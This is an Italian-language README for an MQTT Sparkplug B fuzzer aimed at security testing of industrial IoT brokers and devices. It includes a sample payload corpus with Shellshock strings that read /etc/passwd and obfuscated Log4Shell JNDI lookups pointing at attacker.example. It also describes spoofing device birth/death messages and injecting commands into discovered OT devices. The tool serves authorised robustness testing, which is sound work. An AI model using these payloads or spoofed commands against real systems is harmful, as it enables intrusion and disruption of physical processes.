
Fuzzer per il protocollo IIoT Sparkplug B
Uno strumento completo di valutazione della sicurezza per testare le implementazioni del protocollo MQTT Sparkplug B. Il fuzzer verifica sistematicamente tutti i campi del protocollo su tutti i 9 tipi di messaggio, scopre i dispositivi attivi sulla rete e genera log dettagliati per l'analisi.
Questo strumento invia messaggi MQTT malformati, di injection e che violano il protocollo a un broker target. Eseguilo solo contro sistemi di tua proprietà o per i quali hai un'autorizzazione scritta esplicita a testarli. I broker Sparkplug B si trovano comunemente in ambienti OT/ICS dove payload imprevisti possono interrompere processi fisici — presupponi che ogni target sia adiacente alla produzione finché non viene dimostrato il contrario.
Se scopri una vulnerabilità in un'implementazione Sparkplug B utilizzando questo strumento, segui la divulgazione coordinata con il vendor interessato. Per segnalare un problema di sicurezza in questo strumento stesso, consulta SECURITY.md.
La specifica Sparkplug B definisce un namespace di argomenti (topic) e un formato di payload basati su MQTT e Google Protocol Buffers per ambienti Industrial IoT (IIoT). Questo fuzzer valuta la sicurezza e la robustezza delle implementazioni di Sparkplug B:
Sui moderni sistemi Debian/Ubuntu/Kali (sistemi PEP-668), --setup non può eseguire pip install nel Python di sistema — usa prima un ambiente virtuale o pipx. Il percorso consigliato:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
Oppure eseguilo tramite `pipx run` se preferisci non gestire tu stesso il venv. Su sistemi meno recenti senza l'imposizione di PEP-668, funziona direttamente il semplice `python3 sparkplug-fuzzer.py --setup`.
`--setup` farà quanto segue:
1. Installerà le dipendenze pip (`paho-mqtt`, `protobuf`)
2. Clonerà un tag fissato del repository [Eclipse Tahu](https://github.com/eclipse/tahu) (vedi `TAHU_REF` nello script)
3. Copierà i moduli helper `sparkplug_b.py` e `array_packer.py`
4. Compilerà `sparkplug_b.proto` in binding Python (usa `protoc` se disponibile, altrimenti ripiega su `grpcio-tools`)
5. Pulirà il clone di Tahu
Dopo l'installazione, la tua directory dovrebbe contenere:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
This will:
1. Collegati al broker su `localhost:1883`
2. Ascolta per 10 secondi per scoprire i dispositivi Sparkplug esistenti
3. Stabilisci il fuzzer come nodo/dispositivo Sparkplug
4. Esegui tutte le 12 categorie di fuzz (~635+ casi di test)
5. Prendi di mira qualsiasi dispositivo scoperto con messaggi spoofati
6. Scrivi i risultati in `sparkplug_fuzz.jsonl`
## Utilizzo
### Opzioni della riga di comando```
python3 sparkplug-fuzzer.py [OPTIONS]
Esegui tutte le categorie con autenticazione:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**Passa le credenziali senza esporle in `ps`:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
Connettersi tramite TLS:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**Valutazione passiva dell'autenticazione + sonda di scrittura attiva:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
Esegui solo le categorie relative a injection:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**Scoperta estesa con ritmo lento (minimizza il carico del broker):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
Identità personalizzata di gruppo/nodo e file di log:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**Monitora il traffico del broker in un terminale separato:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
Configurazione air-gapped con un repository Tahu pre-clonato:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**Layout di output per esecuzione:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
La STRING_FUZZ_VALUES integrata copre le categorie classiche di injection (stringhe vuote/enormi, byte nulli, format string, XSS, SQLi, path traversal, prototype pollution). Negli engagement reali spesso servono payload di secondo ordine mirati a qualunque cosa consumi i dati del broker a valle: historian che passano i nomi delle metriche attraverso la shell, host SCADA basati su Java che immettono valori in log4j, dashboard che renderizzano i nomi dei tag in HTML, ecc.
Il flag --extra-string-payloads <FILE> aggiunge un corpus aggiuntivo a quelli integrati. Formato: un payload per riga, UTF-8. Le righe di soli spazi bianchi vengono mantenute (spesso intenzionali nel fuzzing); le righe completamente vuote vengono scartate. Il flag aggiunge alla lista integrata invece di sostituirla, quindi la copertura esistente viene preservata.```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
Il fuzzer stampa `[+] Extra string payloads: loaded N from <path>` all'avvio, e ogni payload viene emesso attraverso ogni punto che itera `STRING_FUZZ_VALUES` — principalmente la categoria `string`, ma anche i casi con tipi stringa del generatore di mismatch di tipo.
Limiti massimi: dimensione file 10 MB, 10.000 payload. Regola `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` all'inizio dello script se ti servono di più (e hai un budget di tempo di esecuzione adeguato).
## Note di rilascio v0.2
- Flag `--output-dir` più default auto-creato `./sparkplug-runs/<UTC-ts>_<host>/` — ogni esecuzione finisce nella propria directory così gli artefatti non collidono tra esecuzioni.
- Flag `--tahu-path` per `--setup` — punta a un clone locale di `eclipse/tahu` per ambienti di test isolati dalla rete dove il `git clone` in uscita è bloccato. Il sorgente locale non viene mai eliminato durante la pulizia.
- Timestamp di console e JSONL forzati a UTC con suffisso esplicito `Z`, così la correlazione incrociata con i log del broker è senza calcoli di fuso orario.
- Logger `paho.mqtt` limitato a WARNING di default; visibile a INFO con `-v`, DEBUG con `-vv`. La telemetria client per-packet non sovrasta più il segnale del fuzzer.
- Test harness pytest in `tests/` — 23 test che coprono FuzzLogger, topic helper, risoluzione del percorso di output e validazione di `--tahu-path`. Vedi [Esecuzione dei test](#running-the-tests).
## Esecuzione dei test
Il test harness copre la superficie indipendente dalla rete (correttezza del logger, topic builder, risoluzione del percorso di output, parsing di `--tahu-path`) e viene eseguito senza un broker, paho-mqtt o protobuf installati.```bash
pip install -r requirements-dev.txt
pytest tests/
Previsto: 23 passed. I percorsi dipendenti dalla rete (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle) sono deliberatamente rinviati a un futuro livello di test di integrazione con un broker containerizzato.
### Scoperta della rete
Durante la fase di scoperta, il fuzzer si sottoscrive a `spBv1.0/#` e ascolta tutto il traffico Sparkplug. Il componente `DeviceTracker` analizza i messaggi osservati per costruire una mappa di rete in tempo reale:
- I messaggi **NBIRTH** rivelano i nodi edge e le loro definizioni delle metriche (nome, alias, tipo di dato)
- I messaggi **DBIRTH** rivelano i dispositivi e i relativi schemi delle metriche
- I messaggi **NDEATH/DDEATH** tracciano lo stato del ciclo di vita di nodi/dispositivi
- I messaggi **STATE** rivelano le applicazioni host e il loro stato online/offline
Questa mappa viene utilizzata nella fase di fuzzing mirato per inviare attacchi contestualmente rilevanti contro dispositivi reali con i loro effettivi schemi di metriche.
### Valutazione dell'autenticazione
Quando il fuzzer si connette senza `-u/-P` (e `MQTT_USERNAME`/`MQTT_PASSWORD` non sono impostate), deduce la postura di autenticazione del broker dalla sola scoperta passiva. Questo produce un singolo evento `AUTH_ASSESSMENT` nel log e un riepilogo stampato:
| Segnale | Cosa significa | Come viene dedotto |
|---|---|---|
| `anon_connect_accepted` | Il broker ha accettato CONNECT senza credenziali | Il CONNECT del fuzzer stesso è riuscito |
| `anon_subscribe_accepted` | Il broker inoltra `spBv1.0/#` / `STATE/#` a client anonimi | Almeno un messaggio RX è arrivato durante la finestra di ascolto |
| `anon_publish_accepted` | Il broker accetta PUBLISH da client anonimi | Impostato solo se viene passato `--probe-anon-write`; probe QoS=1 + attesa di PUBACK |
| `unauth_endpoints` | Nodi / dispositivi / applicazioni host osservabili senza autenticazione | Ogni entità nella mappa di rete scoperta (l'autenticazione non è mai stata prodotta) |
La sonda QoS=1 è opzionale perché passa da passiva ad attiva. Con QoS=0 il broker scarta silenziosamente i messaggi che negherebbe, quindi confermare l'accettazione della scrittura richiede la lettura di un PUBACK.
MQTT/Sparkplug non hanno autenticazione per singolo endpoint: l'autenticazione è una questione a livello di broker. Pertanto "endpoint osservabili senza autenticazione" viene riportato come un elenco di *obiettivi raggiungibili a costo zero* piuttosto che come una proprietà degli endpoint stessi.
### Fuzzing mirato
Dopo il fuzzing sistematico, lo strumento prende di mira ogni dispositivo scoperto con:
1. **Notifiche di morte falsificate** — pubblica NDEATH/DDEATH per indurre i sottoscrittori a pensare che i dispositivi siano andati offline
2. **Certificati di nascita falsificati** — pubblica NBIRTH/DBIRTH per impersonare nodi/dispositivi scoperti
3. **Iniezione di comandi** — invia messaggi NCMD/DCMD con valori limite per ogni metrica nota, verificando se il target valida i comandi in entrata
4. **Comandi di rebirth** — invia un NCMD `Node Control/Rebirth` per indurre i dispositivi a ripubblicare le loro nascite
## Analisi di Output e Log
### Formato del Log
Il file di log utilizza il formato JSON-lines (`.jsonl`) — un oggetto JSON per riga, adatto all'analisi con `jq`, Python o qualsiasi strumento in grado di gestire JSON.
I payload più grandi di 64 KiB non vengono incorporati in esadecimale; al loro posto `payload_hex` contiene `sha256:<digest>+len=<n>` così il log rimane contenuto per casi di fuzz molto grandi. `payload_len` è sempre presente.
**Record TX** (messaggio di fuzz in uscita):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
RX record (messaggio in ingresso dalla rete):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**Record evento** (evento di sistema):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
Conta i casi per categoria:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**Estrai tutti i casi di string injection:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
Elenca tutti i dispositivi scoperti:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**Trova i casi che hanno causato disconnessioni del broker:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
Esegui il pull della valutazione dell'autenticazione:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**Elenca gli endpoint raggiungibili senza autenticazione:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
Ottieni il conteggio TX nel tempo (per l'analisi del tasso):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**Esporta tutti gli argomenti pubblicati su:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
Analizza con Python:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## Copertura del Protocollo
### Tipi di Messaggio
Tutti i 9 tipi di messaggio Sparkplug B sono testati:
| Tipo di Messaggio | Pattern del Topic | Descrizione | Utilizzo del Fuzzer |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Certificato di nascita del nodo | Stabilisce la presenza del fuzzer; spoofato per i nodi scoperti; test di ordinamento |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Notifica di morte del nodo | last-will MQTT; spoofato per i nodi scoperti; test di ordinamento |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Certificato di nascita del dispositivo | Stabilisce il dispositivo del fuzzer; spoofato per i dispositivi scoperti; test di ordinamento |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Notifica di morte del dispositivo | Spoofato per i dispositivi scoperti; test di ordinamento; test degli orfani |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Aggiornamento dati del nodo | Valori limite; numeri di sequenza; test di ordinamento |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Aggiornamento dati del dispositivo | Veicolo principale per la maggior parte delle categorie di fuzzing |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Comando del nodo | Fuzzing mirato (comandi rebirth); test degli orfani |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Comando del dispositivo | Fuzzing mirato contro le metriche dei dispositivi scoperti; test degli orfani |
| STATE | `STATE/{host_id}` | Stato dell'applicazione host (JSON) | Iniezione di JSON malformato |
### Tipi di Dati
Tutti i 19 tipi di dati metrici Sparkplug B sono testati con valori limite specifici del tipo:
| Codice | Tipo | Campo Protobuf | Valori limite testati |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (overflow), -129 (underflow) |
| 2 | Int16 | int_value | 0, -32768, 32767, overflow/underflow |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, overflow/underflow |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, overflow |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False; testati anche con valori int grezzi (0, 1, 2, 255) |
| 12 | String | string_value | Vuota, lunga (fino a 64KB), payload di iniezione |
| 13 | DateTime | long_value | Epoch, massimo, futuro/passato remoto |
| 14 | Text | string_value | Stessi payload di iniezione di String |
| 15 | UUID | string_value | Vuoto, valido, formato non valido, iniezioni |
| 16 | DataSet | dataset_value | Violazioni strutturali tramite la categoria dataset |
| 17 | Bytes | bytes_value | Vuoto, byte nulli, casuale, grande |
| 18 | File | bytes_value | Vuoto, byte magici, grande |
| 19 | Template | template_value | Riferimenti non definiti, template orfani |
### Copertura dei Campi
Il fuzzer copre 87+ percorsi di campo protobuf unici, tra cui:
- **Campi root del payload**: timestamp, seq, uuid, body, metrics
- **Campi della metrica**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties e tutte le varianti oneof del valore
- **Campi MetaData**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: chiavi, valori, tipo, is_null, propertyset_value ricorsivo, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, tutte le varianti DataSetValue
- **Template**: version, template_ref, is_definition, metriche annidate, parametri
## Architettura
Il fuzzer è un singolo file Python organizzato nei seguenti componenti:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
La costruzione del payload a due livelli è una decisione progettuale chiave:
PayloadBuilder.node_birth(), ecc.) usa le funzioni helper sparkplug_b per costruire payload validi e ben formati. Utilizzato per stabilire la presenza e lo spoofing mirato.PayloadBuilder.raw_payload(), corrupt_bytes()) manipola direttamente gli oggetti protobuf di sparkplug_b_pb2 o i byte grezzi, bypassando la validazione. Utilizzato per payload deliberatamente malformati che testano la gestione degli errori del parser e i casi limite.Questo progetto è rilasciato sotto la licenza MIT — vedi LICENSE per il testo completo.
sparkplug-fuzzer.py --setup recupera i seguenti componenti da Eclipse Tahu al momento dell'installazione e li copia nella directory di lavoro:
sparkplug_b.py — modulo helper di Sparkplug Barray_packer.py — helper per l'impacchettamento di arraysparkplug_b.proto — definizione Protocol Buffer (usata per generare sparkplug_b_pb2.py)Eclipse Tahu è distribuito sotto la licenza Apache, versione 2.0. Nessuno dei file sorgente di Tahu viene ridistribuito in questo repository. Vedi NOTICE per l'attribuzione completa.
| Option | Predefinito | Descrizione |
|---|
-H, --host | localhost | Hostname o IP del broker MQTT |
-p, --port | 1883 (o 8883 con --tls) | Porta del broker MQTT |
-u, --username | None | Nome utente MQTT (legge anche la variabile d'ambiente MQTT_USERNAME) |
-P, --password | None | Password MQTT (legge anche MQTT_PASSWORD; passare - per leggere da stdin senza echo) |
--tls | off | Connetti via TLS; la porta predefinita diventa 8883 se -p non è impostata |
--cafile | None | Bundle CA per la verifica del certificato del server TLS |
--insecure | off | Salta la verifica di hostname/certificato TLS (solo per test) |
-g, --group | Sparkplug B Devices | ID del gruppo Sparkplug sotto cui il fuzzer si registra |
-n, --node | FuzzNode | ID del nodo edge Sparkplug per il fuzzer |
-d, --device | FuzzDevice | ID del dispositivo Sparkplug per il fuzzer |
-c, --categories | all | Elenco separato da spazi delle categorie di fuzz da eseguire |
--discovery-time | 10 | Secondi di ascolto passivo per la scoperta di rete |
--delay | 0.1 | Ritardo in secondi tra i messaggi di fuzz |
--probe-anon-write | off | Durante la scoperta, invia una pubblicazione QoS=1 per verificare se il broker accetta PUBLISH non autenticati |
-l, --log | sparkplug_fuzz.jsonl | Nome del file di log di output (i percorsi relativi finiscono all'interno di --output-dir; i percorsi assoluti sono rispettati così come sono) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | Directory di output per ogni esecuzione. Creata se assente. |
-v, --verbose | 0 | Aumenta la verbosità della console (-v = info, -vv = debug). -vv mostra anche i salti dei generatori di fuzz e il logger limitato paho.mqtt passa a INFO/DEBUG con la verbosità. |
--setup | — | Installa tutte le dipendenze ed esci |
--tahu-path | — | Percorso di un clone locale di eclipse/tahu (o della sua directory python/core). Usato da --setup in ambienti air-gapped invece di git clone. |
--extra-string-payloads | — | Percorso di un file di payload aggiuntivi per l'iniezione di stringhe (uno per riga, UTF-8). Accodati ai valori incorporati STRING_FUZZ_VALUES; non li sostituisce. Max 10 MB / 10.000 payload. Vedi Corpora di stringhe personalizzati. |
| Categoria | Descrizione | Casi approssimativi |
|---|
boundary | Min/max/overflow per tutti i 19 tipi di dati numerici, is_null con valori, combinazioni di flag | ~200 |
string | Payload di iniezione (XSS, SQLi, stringhe di formato, path traversal, iniezione di comandi, byte nulli) nei campi String, Text, UUID, MetaData e nei messaggi STATE | ~100 |
type_mismatch | Tipo di dato dichiarato vs campo del valore protobuf errato, codici di tipo di dato non validi, campi oneof multipli | ~150 |
sequence | Buchi di sequenza, duplicati, sequenze inverse, rollover, disallineamento di bdSeq tra NBIRTH/NDEATH | ~20 |
timestamp | Zero, uint64 massimo, futuro/passato remoto, incoerenza del timestamp tra metrica e payload, estremi di DateTime | ~15 |
alias | Alias duplicati per metriche diverse, valori di alias estremi, alias non definiti nei messaggi dati | ~15 |
orphan | Dati/comandi destinati a dispositivi, nodi o gruppi inesistenti; riferimenti a template non definiti | ~20 |
ordering | Violazioni dello stato del protocollo: dati prima della nascita, nascite doppie, dati dopo la morte, ordine di nascita errato | ~15 |
recursive | Catene PropertySet annidate (profondità 1-100), disallineamenti di lunghezza chiave/valore, variazioni di PropertySetList | ~15 |
dataset | Disallineamenti del numero di colonne, disallineamenti degli elementi delle righe, violazioni di tipo, dataset vuoti/enormi, caratteri speciali nei nomi delle colonne | ~25 |
malformed | Corruzione del protobuf binario: troncamenti, bit flippati, byte casuali, varint troppo lunghi, classi di messaggio errate | ~30 |
topic | Variazioni di maiuscole/minuscole, versioni errate, slash extra/mancanti, caratteri speciali, wildcard nelle stringhe dei topic | ~30 |